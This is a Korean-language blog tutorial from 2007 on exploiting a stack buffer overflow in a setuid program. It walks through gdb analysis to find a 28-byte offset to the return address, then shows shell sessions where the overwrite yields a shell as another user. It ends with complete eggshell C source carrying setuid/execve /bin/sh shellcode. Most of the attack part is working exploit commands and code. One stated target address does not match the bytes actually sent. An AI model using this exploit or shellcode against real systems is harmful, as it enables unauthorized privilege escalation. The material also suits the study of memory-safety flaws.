본문 바로가기
Security

Stack BOF

by Hide­ 2007. 4. 1.
반응형

Stack BOF(BufferOverFlow)

이전에 다루었던 gdb사용법을 기반으로 간단하게 나마
Stack BOF에 대해서 이해해 보는 시간을 가지도록 하겠습니다.
글 내용 중 잘못된 것이나 빠진점은 dual5651@hotmail.com
으로 알려주시면 감사하겠습니다.


이  글을 쓰고 있는 환경입니다.

guest@dualpage:/tmp$ uname -a
Linux dualpage 2.4.27-3-386 #1 Thu Sep 14 08:44:58 UTC 2006 i686 GNU/Linux

현재 아이디와 대상 프로그램입니다.

guest@dualpage:/tmp$ id -a
uid=1001(guest) gid=1001(guest) groups=1001(guest)
guest@dualpage:/tmp$ whoami
guest
guest@dualpage:/tmp$ ls -al
ÇÕ°è 92
drwxrwxrwt   8 root     root      4096 2007-01-27 09:24 .
drwxr-xr-x  21 root     root      4096 2007-01-24 08:37 ..
drwxrwxrwt   2 root     root      4096 2007-01-27 04:14 .ICE-unix
drwxrwxrwt   2 root     root      4096 2007-01-27 04:14 .X11-unix
-rw-------   1 dual5651 dual5651 12288 2007-01-27 09:24 .egg.c.swp
srw-rw-rw-   1 root     root         0 2007-01-27 04:14 .gdm_socket
-rwxr-xr-x   1 guest    guest    11348 2007-01-27 06:28 a
-rw-r--r--   1 guest    guest       42 2007-01-27 06:28 a.c
-rwxr-xr-x   1 guest    guest    12793 2007-01-27 06:38 egg
-rw-r--r--   1 guest    guest     1706 2007-01-27 06:38 egg.c
-rwsrwsrwx   1 dual5651 dual5651 11964 2007-01-27 09:24 test
drwx------   2 guest    guest     4096 2007-01-27 07:30 v857831
drwx------   2 dual5651 dual5651  4096 2007-01-27 08:25 v861384
drwx------   2 dual5651 dual5651  4096 2007-01-27 09:19 v865055
drwx------   2 dual5651 dual5651  4096 2007-01-27 09:24 v865372

setuid가 걸려 있는 test라는 프로그램이 대상 프로그램 입니다.
먼저 test를 한번 실행 시켜 보겠습니다.

guest@dualpage:/tmp$ ./test
Address : 8048424
Please Input Your name : Dual
Dual is right? (y/n)

실행 시키면 사용자의 이름을 입력받고, 그것이 맞는지
확인을 구하는 충분히 있을법한 예 입니다.

이번엔 이름을 좀 길게 입력하여 보겠습니다.

guest@dualpage:/tmp$ ./test
Address : 8048424
Please Input Your name : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa is right? (y/n)
세그먼테이션 오류

버퍼의 크기 보다 더 많은 값을 입력하여서 버퍼가 OverFlow된 것을 볼 수 있습니다.

gdb를 통해서 대상 프로그램을 디버깅 해 보겠습니다.

guest@dualpage:/tmp$ gdb ./test
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x8048482
(gdb) run
Starting program: /tmp/test

main에 BP를 설치한 상태에서 run 시켰습니다.

Breakpoint 1, 0x08048482 in main ()
(gdb) break printf
Breakpoint 2 at 0x400758e3
(gdb) cont
Continuing.
Breakpoint 2, 0x400758e3 in printf () from /lib/libc.so.6
(gdb) next
Single stepping until exit from function printf,
which has no line number information.
Address : 8048424
0x080484a0 in main ()
(gdb) next
Single stepping until exit from function main,
which has no line number information.

main의 BP가 작동했을 떄, printf에 BP를 설치 하였습니다.
(printf를 통해서 사용자에게 프로그램이 무언가 요구하기 떄문에)
그런데 첫번째 걸린 BP는 저 주소를 출력하는 부분일 것이기 때문에
next 시켰습니다.

Breakpoint 2, 0x400758e3 in printf () from /lib/libc.so.6
(gdb) next
Single stepping until exit from function printf,
which has no line number information.
0x080484ac in main ()

(gdb) next
Single stepping until exit from function main,
which has no line number information.
Please Input Your name :

두번 더 next 시키자, 재가 찾고 있던 부분인 이름을 입력하라는 부분이 나왔습니다.
(프로그램은 이름 입력하라는 메시지를 출력한 후 입력을 받을 것이기 때문에)

Please Input Your name : Dual
Breakpoint 2, 0x400758e3 in printf () from /lib/libc.so.6
(gdb) next
Single stepping until exit from function printf,
which has no line number information.
Dual is right? (y/n)
0x0804847a in func2 ()

이름으로는 "Dual"을 입력하여 보았습니다.
현재 상태에서 0x804847a이전에 문자열을 입력받는
함수가 있을 것이고, 그 함수의 인자로서 문자열이 저장되는
변수의 주소가 저장되었을 것입니다.
(gdb) disas func2
Dump of assembler code for function func2:
0x08048456 <func2+0>:   push   %ebp
0x08048457 <func2+1>:   mov    %esp,%ebp
0x08048459 <func2+3>:   sub    $0x28,%esp
0x0804845c <func2+6>:   lea    0xffffffe8(%ebp),%eax
0x0804845f <func2+9>:   mov    %eax,(%esp)
0x08048462 <func2+12>:  call   0x804830c <_init+40>

0x08048467 <func2+17>:  lea    0xffffffe8(%ebp),%eax
0x0804846a <func2+20>:  mov    %eax,0x4(%esp)
0x0804846e <func2+24>:  movl   $0x80485eb,(%esp)
0x08048475 <func2+31>:  call   0x804833c <_init+88>
0x0804847a <func2+36>:  leave
0x0804847b <func2+37>:  ret
End of assembler dump.

"Dual is right(y/n)?"이 출력되고 나서 멈춰진 주소가 0x804847a라는 점에서
0x8048475줄에서는 printf를 호출함을 알 수 있습니다.
그리고 이 printf에서는 사용자에게 입력받은 이름을 보여주며 맞는지 물어보는
것이기 때문에 변수의 주소가 인자로 쓰였을 것입니다.
이렇게 분석하여 보았을 때,
0x08048467 <func2+17>:  lea    0xffffffe8(%ebp),%eax
$ebp-0x18이 사용자가 입력한 이름이 저장될 버퍼일 가능성이 큽니다.
x/s를 이용하여 출력해 보겠습니다.

(gdb) x/s $ebp-0x18
0xbffff1f0:      "Dual"
실제로 해당 주소에는 재가 입력한 값인 "Dual"이 들어 있었습니다.
그렇다면 이제 알아야 할 것은 이 함수가 끝나고 돌아갈 주소가 저장되 있는
Return Address가 어딨느냐 하는 것입니다. Return Address는 $ebp+4에
저장되 있을 것임으로 x/a를 이용하여 출력해 보겠습니다.

(gdb) x/a $ebp+4
0xbffff20c:     0x80484b1 <main+53>

(gdb) disas main
Dump of assembler code for function main:
0x0804847c <main+0>:    push   %ebp
0x0804847d <main+1>:    mov    %esp,%ebp
0x0804847f <main+3>:    sub    $0x8,%esp
0x08048482 <main+6>:    and    $0xfffffff0,%esp
0x08048485 <main+9>:    mov    $0x0,%eax
0x0804848a <main+14>:   sub    %eax,%esp
0x0804848c <main+16>:   movl   $0x8048424,0x4(%esp)
0x08048494 <main+24>:   movl   $0x80485ff,(%esp)
0x0804849b <main+31>:   call   0x804833c <_init+88>
0x080484a0 <main+36>:   movl   $0x804860d,(%esp)
0x080484a7 <main+43>:   call   0x804833c <_init+88>
0x080484ac <main+48>:   call   0x8048456 <func2>
0x080484b1 <main+53>:   leave
0x080484b2 <main+54>:   ret
0x080484b3 <main+55>:   nop
0x080484b4 <main+56>:   nop
0x080484b5 <main+57>:   nop
0x080484b6 <main+58>:   nop
0x080484b7 <main+59>:   nop
0x080484b8 <main+60>:   nop
0x080484b9 <main+61>:   nop
0x080484ba <main+62>:   nop
---Type <return> to continue, or q <return> to quit---
0x080484bb <main+63>:   nop
0x080484bc <main+64>:   nop
0x080484bd <main+65>:   nop
0x080484be <main+66>:   nop
0x080484bf <main+67>:   nop
End of assembler dump.

0xbffff20c라는 주소에 Return Address가 들어 있음을 볼 수 있습니다.
그렇다면 사용자로 부터 이름을 입력받는 Buffer와의 간격은
0xbffff20c - 0xbffff1f0 = 0x1C(28) 이 됩니다.

그럼으로 우리는 28개만큼의 아무문자열이나 넣고, 그 후 4바이트를 주소로 주면
그 주소로 가도록 만들 수 있을 것입니다.

"1111111111111111111111111111dcba"라는 문자열을 이용하여 실제 Return Address가
29~33사이의 문자로 덮히는지 보도록 하겠습니다.

(gdb) run
Starting program: /tmp/test
Address : 8048424
Please Input Your name : 1111111111111111111111111111dcba
1111111111111111111111111111dcba is right? (y/n)
Program received signal SIGSEGV, Segmentation fault.
0x61626364 in ?? ()
(gdb) info reg eip
eip            0x61626364       0x61626364
(gdb)

abcd를 ascii로 표현하면 0x61,0x62,0x63,0x64임으로 제대로 넣었음을 알 수 있습니다.
(메모리에 넣을때는 리틀 엔디언 방식으로 넣어야 함으로 dcba를 저장해야
실제 메모리에는 abcd가 저장됩니다.)

그렇다면 저 프로그램에서 말하고 있는 주소를 넣어 보도록 하겠습니다.
0x08048424가 주어진 주소인데 이를 리틀 엔디언 방식으로 표시해 보면,
0x24840408일 것입니다.
이런 hex값을 어떻게 문자로서 입력할 수 있느냐는 질문이 나올 수 있습니다.
답은 printf를 이용하는 것입니다.
(printf "1111111111111111111111111111\x94\xfa\xff\xbf";cat)|./test
위와 같이 해주면 28개의 1을 출력하고(test에 입력하고) 0x08048424를 입력하여 줍니다.

guest@dualpage:/tmp$ (printf "1111111111111111111111111111\x94\xfa\xff\xbf";cat)|./test
Address : 8048424

Please Input Your name : 1111111111111111111111111111”úÿ¿ is right? (y/n)
음..? 해당 주소로 Return Address를 바꾸니 아무런 변화도 없군요?!

그래서 아무 문자나 입력해 보았더니~
sadsadasd
/bin/sh: line 1: sadsadasd: command not found

?! 왠 갑자기 /bin/sh? 무언가 된 모양입니다.
id -a 를 쳐보았습니다.

id -a
uid=1000(dual5651) gid=1001(guest) egid=1000(dual5651) groups=1001(guest)
whoami
dual5651


오오 -_-;; 우리 아이디는 분명히 guest였는데, dual5651의 아이디에 권한을
획득 한것을 볼 수 있습니다.(아마 0x8048424의 코드 내용은 /bin/sh를 실행 시키는
내용 이었을 것입니다. - 실제 공격시에는 환경 변수등에 코드를 넣고 그 환경변수의
주소를 주면 됩니다.)

마지막으로 환경 변수를 이용하는 방법을 보여드리겠습니다.

guest@dualpage:/tmp$ ./egg 20 0x1c
Using address: 0xbffffad8
guest@dualpage:/tmp$  (printf "1111111111111111111111111111\xd8\xfa\xff\xbf";cat)|./test
Address : 8048424
Please Input Your name : 1111111111111111111111111111Øúÿ¿ is right? (y/n)
asdsad
/bin/sh: line 2: asdsad: command not found
whoami
dual5651
id -a
uid=1000(dual5651) gid=1001(guest) egid=1000(dual5651) groups=1001(guest)

egg를 이용하였는데, 첫번쨰 인자는 공격할 버퍼의 크기 이며 두번쨰 인자는 버퍼와
Return Address와의 거리 차 (Offset)입니다.

또 다음과 같이 사용하여 줄 수도 있습니다.

guest@dualpage:/home/dual5651$ ./egg 37
Using address: 0xbffffae8
guest@dualpage:/home/dual5651$ (printf $RET;cat)|./test
Address : 8048424
Please Input Your name :
èúÿ¿èúÿ¿èúÿ¿èúÿ¿èúÿ¿èúÿ¿èúÿ¿èúÿ¿ is right? (y/n)
id -a
uid=1000(dual5651) gid=1001(guest) egid=1000(dual5651) groups=1001(guest)


다음은 사용한 에그쉘의 코드입니다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          0
#define DEFAULT_BUFFER_SIZE     256
#define DEFAULT_EGG_SIZE        2048
#define NOP             0x90
char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" //setuid(geteuid())
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void)
{
       __asm__("movl %esp, %eax");
}
int main(int argc, char **argv)
{
       char    *buff, *ptr, *egg;
       long    *addr_ptr, addr;
       int     offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
       int     i, eggsize=DEFAULT_EGG_SIZE;
       if ( argc > 1 ) bsize = atoi(argv[1]);
       if ( argc > 2 ) offset = atoi(argv[2]);
       if ( argc > 3 ) eggsize = atoi(argv[3]);
       if ( !(buff = malloc(bsize)))
       {
               printf("Can't allocate memory for bsize\n");
               exit(0);
       }
       if ( !(egg = malloc(eggsize)))
                   {
                               printf("Can't allocate memory for eggsize");
                              exit(0);
                  }
           addr = get_sp() + offset;
           printf("Using address: 0x%x\n", addr);
           ptr = buff;
           addr_ptr = (long *)ptr;
           for(i = 0; i < bsize; i+= 4)
                 *(addr_ptr++) = addr;
           ptr = egg;
           for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
                        *(ptr++) = NOP;
           for(i = 0; i < strlen(shellcode); i++)
                        *(ptr++) = shellcode[i];
           buff[bsize - 1] = '\0';
           egg[eggsize - 1] = '\0';
           memcpy(egg, "EGG=", 4);
           putenv(egg);
           memcpy(buff, "RET=", 4);
           putenv(buff);
           system("/bin/bash");
}

끝.


40년후 이해하려고 적어놨습니다